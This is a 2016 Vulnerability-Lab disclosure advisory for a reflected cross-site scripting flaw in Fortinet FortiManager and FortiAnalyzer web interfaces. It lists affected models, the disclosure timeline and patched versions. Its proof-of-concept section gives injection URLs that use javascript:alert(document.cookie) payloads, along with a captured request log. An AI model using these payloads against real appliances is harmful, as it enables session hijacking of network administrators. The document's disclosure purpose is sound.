Document Title: =============== FortiAnalyzer & FortiManager - Client Side Cross Site Scripting Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1686 Fortinet PSIRT ID: 1624489 Release Notes 1: http://docs.fortinet.com/uploaded/files/2861/fortios-v5.2.6-release-notes.pdf Release Notes 2: http://docs.fortinet.com/uploaded/files/3075/fortios-v5.4.1-release-notes.pdf Release Notes 3: http://docs.fortinet.com/uploaded/files/2889/fortiap-s-v5.4.1-release-notes.pdf Release Notes 4: http://docs.fortinet.com/uploaded/files/2499/fortios-5.0.12-release-notes.pdf Release Date: ============= 2016-08-03 Vulnerability Laboratory ID (VL-ID): ==================================== 1686 Common Vulnerability Scoring System: ==================================== 3 Product & Service Introduction: =============================== FortiManager appliances allow you to centrally manage any number of Fortinet devices, from several to thousands, including FortiGate®, FortiWiFi™, FortiCarrier™, FortiMail™ and FortiAnalyzer™ appliances and virtual appliances, as well as FortiClient™ endpoint security agents. You can further simplify control and management of large deployments by grouping devices and agents into administrative domains (ADOMs). The FortiManager family of management appliances provides centralized policy-based provisioning, device configuration, and update management for FortiGate, FortiWiFi, and FortiMail appliances, and FortiClient end-point security agents, plus end-to-end network monitoring and device control. FortiManager delivers a lower TCO for Fortinet implementations by minimizing both initial deployment costs and ongoing operating expenses. Control administrative access and simplify policy deployment using role-based administration to define user privileges for specific management domains and functions, and aggregating collections of Fortinet appliances and agents into independent management domains. In addition, by locally hosting security content updates for managed devices and agents, FortiManager appliances minimize Web filtering rating request response time and maximize network protection. (Copy of the Vendor Homepage: http://www.avfirewalls.com/FortiManager-Series.asp ) FortiAnalyzer Network Security Logging, Analysis, and Reporting Appliances securely aggregate log data from Fortinet Security Appliances. A comprehensive suite of easily customable reports allows you to quickly analyze and visualize network threats, inefficiencies and usage. FortiAnalyzer is one of several versatile Fortinet Management Products that provide a diversity of deployment types, growth flexibility, advanced customization through APIs and simple licensing. (Copy of the Vendor Homepage: http://www.fortinet.com/products/fortianalyzer/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered a non-persistent web validation vulnerability in the official Fotinet FortiManager & Fortianalyzer appliance product series. Vulnerability Disclosure Timeline: ================================== 2016-01-25: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2016-01-26: Vendor Notification (FortiGuard Security Team) 2016-03-12: Vendor Response/Feedback (FortiGuard Security Team) 2016-03-17: Vendor Fix/Patch #1 (Fortinet Service Developer Team) 2016-07-28: Vendor Fix/Patch #2 (Fortinet Service Developer Team) 2016-08-03: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Fortinet Product: FortiManager - Appliance (Web-Application) 200D, 300D, 1000D, 3900E, 4000E, Virtual Appliances Versio Fortinet Product: FortiManager - Appliance (Web-Application) Legacy - 100, 100C, 400A, 400B, 400C, 1000C, 3000C & 4000 Fortinet Product: FortiAnalyzer - Appliance (Web-Application) 200D, 300D, 1000D, 2000D, 3000E, 3500E, 3900E, VM Base & VM Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A client-side cross site scripting web vulnerability has been discovered in the official Fortinet FortiManager and FortiAnalyzer appliance web-application. The vulnerability allows remote attackers to inject own script codes to client-side browser requests of the affected vulnerable web-application context module. The vulnerability is located in the `tabs` and `&url` values of the `tabs.htm` file. Remote attackers are able to inject malicious script codes to the client-side of the vulnerable docroot module. The request method to inject is GET and the attack vector is located on the client-side of the appliance web-application. the issue affects the fortimanagaer and the fortianalyzer appliance web-application model series. The security risk of the client-side cross site scripting web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0. Exploitation of the application-side web vulnerability requires no privileged web-application user account and low or medium user interaction. Successful exploitation of the vulnerability results in non-persistent phishing, session hijacking, non-persistent external redirect to malicious sources and client-side manipulation of affected or connected web module context. Request Method(s): [+] GET Vulnerable Module(s): [+] ./cgi-bin/module/docroot/ Vulnerable File(s): [+] tabview.htm Vulnerable Parameter(s): [+] tabs + &urls Affected Serie(s): FortiManager [+] FortiManager 200D [+] FortiManager 300D [+] FortiManager 1000D [+] FortiManager 3900E [+] FortiManager 4000E [+] FortiManager Virtual Appliances [+] FortiMoM-VM FortiManager Legacy Models [+] FortiManager 100 [+] FortiManager 100C [+] FortiManager 400A [+] FortiManager 400B [+] FortiManager 400C [+] FortiManager 1000C [+] FortiManager 3000C [+] FortiManager 4000D Affected Serie(s): FortiAnalyzer [+] FortiAnalyzer 200D [+] FortiAnalyzer 300D [+] FortiAnalyzer 1000D [+] FortiAnalyzer 2000B [+] FortiAnalyzer 3000E [+] FortiAnalyzer 3500E [+] FortiAnalyzer 3900E [+] FortiAnalyzer VM Base [+] FortiAnalyzer VM GB1 [+] FortiAnalyzer VM GB5 [+] FortiAnalyzer VM GB25 [+] FortiAnalyzer VM GB100 [+] FortiAnalyzer VM GB500 [+] FortiAnalyzer VM GB2000 Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged web-application user account and with low or medium user interaction. For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue. PoC: Example(s) http://fortimanager.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=[CLIENT SIDE CROSS SITE SCRIPTING VULNERABILITY!]&tabviewid=dvmtabview&ids=fromdvm=1&i=aa https://fortinalyzer.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=[CLIENT SIDE CROSS SITE SCRIPTING VULNERABILITY!]&tabviewid=dvmtabview&ids=fromdvm=1&i=aa PoC: #1 - Fortimanager http://fortimanager.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=VLAB;%27alert%282%29&urls=javascript:alert%282%29&tabviewid=dvmtabview&ids=fromdvm=1&i=aa http://fortimanager.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=VLAB&urls=javascript:alert%28document.cookie%29&tabviewid=dvmtabview&ids=fromdvm=1&i=aa PoC: #2 - Fortianalyzer https://fortinalyzer.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=VLAB;%27alert%282%29&urls=javascript:alert%28document.cookie%29&tabviewid=dvmtabview&ids=fromdvm=1&i=aa http://fortinalyzer.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=VLAB;%27alert%282%29&urls=javascript:alert%28document.cookie%29&tabviewid=dvmtabview&ids=fromdvm=1&i=aa --- PoC Session Logs [GET] --- Status: 200[OK] GET http://fortimanager.localhost:8000/cgi-bin/module/docroot/tabview.htm?tabs=VLAB;%27alert(document.cookie)&urls=javascript:alert(document.cookie)&tabviewid=dvmtabview&ids=fromdvm=1&i=aa Mime Type[text/html] Request Header: Host[fortimanager.localhost:8000] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Cookie[remoteauth=1; forRevert=0; vmConfirm=1; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=9X3lvcNst3VYkYtkLWMkgMagWkS+Qmdk38eDLl1jE+ZNJ7Dw/9EQlVtauZ98+4+nN5aOe5ixbZGoE/sIrlNbRQ==; MCP_VIEW_MODE=sectview;] Connection[keep-alive] Response Header: Server[Apache] X-Frame-Options[SAMEORIGIN] Keep-Alive[timeout=30, max=185] Connection[Keep-Alive] Content-Type[text/html; charset=UTF-8] Reference(s): #1 http://fortimanager.localhost:8000/ http://fortimanager.localhost:8000/cgi-bin/ http://fortimanager.localhost:8000/cgi-bin/module/ http://fortimanager.localhost:8000/cgi-bin/module/docroot/ http://fortimanager.localhost:8000/cgi-bin/module/docroot/tabview.htm Reference(s): #2 https://fortinalyzer.localhost:8000/ https://fortinalyzer.localhost:8000/cgi-bin/ https://fortinalyzer.localhost:8000/cgi-bin/module/ https://fortinalyzer.localhost:8000/cgi-bin/module/docroot/ https://fortinalyzer.localhost:8000/cgi-bin/module/docroot/tabview.htm Solution - Fix & Patch: ======================= Customers can download the update version by automated updates in the appliances or by manual interaction with the product service panel. Updates are available for customers in the fortinet customer area or via automated appliance update. 5.2.6 5.4.1 5.0.12 (TBD) 5.0.12 (FMG) 5.0.13 (FAZ) Security Risk: ============== The security risk of the client-side cross site scripting web vulnerability in the fortianalyzer and fortimanager web-application is estimated as medium. (CVSS 3.0) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@xxxxxxxxxxxxxxxxxxxxx - research@xxxxxxxxxxxxxxxxxxxxx - admin@xxxxxxxxxxxxxxxxx Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@xxxxxxxxxxxxxxxxxxxxx or research@xxxxxxxxxxxxxxxxxxxxx) to get a permission. Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com